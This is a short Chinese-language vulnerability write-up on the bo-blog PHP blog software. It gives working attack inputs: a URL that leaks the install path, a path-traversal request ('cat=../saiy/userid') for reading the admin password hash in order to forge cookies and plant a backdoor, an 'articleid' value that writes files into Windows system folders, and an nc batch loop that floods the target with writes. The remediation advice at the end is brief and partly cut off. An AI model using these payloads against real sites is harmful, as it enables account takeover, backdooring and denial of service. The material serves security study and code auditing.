bo-blog 外觀優美、流行度高,連資安圈人士也在用,但程式碼存在嚴重安全隱患,可能被利用植入後門。本文深度剖析兩大核心漏洞:絕對路徑洩露與任意檔案讀寫。
提交網址:
?m=2&y=/2005
即可直接取得程式部署的絕對路徑,這是 PHP 常見錯誤。
if (!file_exists("$dirblog/$cat.php")) { wronginfo($langerrornocat); }
$allfiles = @file("$dirblog/$cat.php");
for ($i=$start; $i<$end; $i++) {
$latest = explode("|", $allfiles[$i]);
$articleid = $latest[1];
$articlename = $latest[2];
// ...
}
程式直接未經過濾使用 $cat 參數拼接檔案路徑並讀取,雖以 | 分隔且從索引 1 開始讀取,但若我們知道使用者目錄結構,可提交:
?job=showcat&cat=../saiy/userid
即可讀取管理員密碼雜湊,偽造 Cookie 登入後台,進而上傳後門。
$areply = @readfromfile("$dirblog/$articleid.rpl");
writetofile("$dirblog/$articleid.rpl", $replycontent."\n|rep|\n".$areply);
$articleid 完全未過濾。攻擊者可提交:
articleid=C:\winnt\system32\hacker
將垃圾資料寫入系統目錄,或寫入管理員啟動目錄製造巨大文字檔導致癱瘓。配合 nc 自動化提交腳本可持續寫入:
# 抓取發文封包存為 test.txt
# 建立 test.bat:
nc 目標IP 80 < test.txt
# 循環執行即可持續寫入
display_errors = Off)。$cat、$articleid 等)必須經過嚴格過濾(basename()、路徑遍歷檢查、白名單機制)。開源專案流行不代表安全。部署前務必進行代碼審計,上線後持續監控與修補,才能避免成為駭客跳板。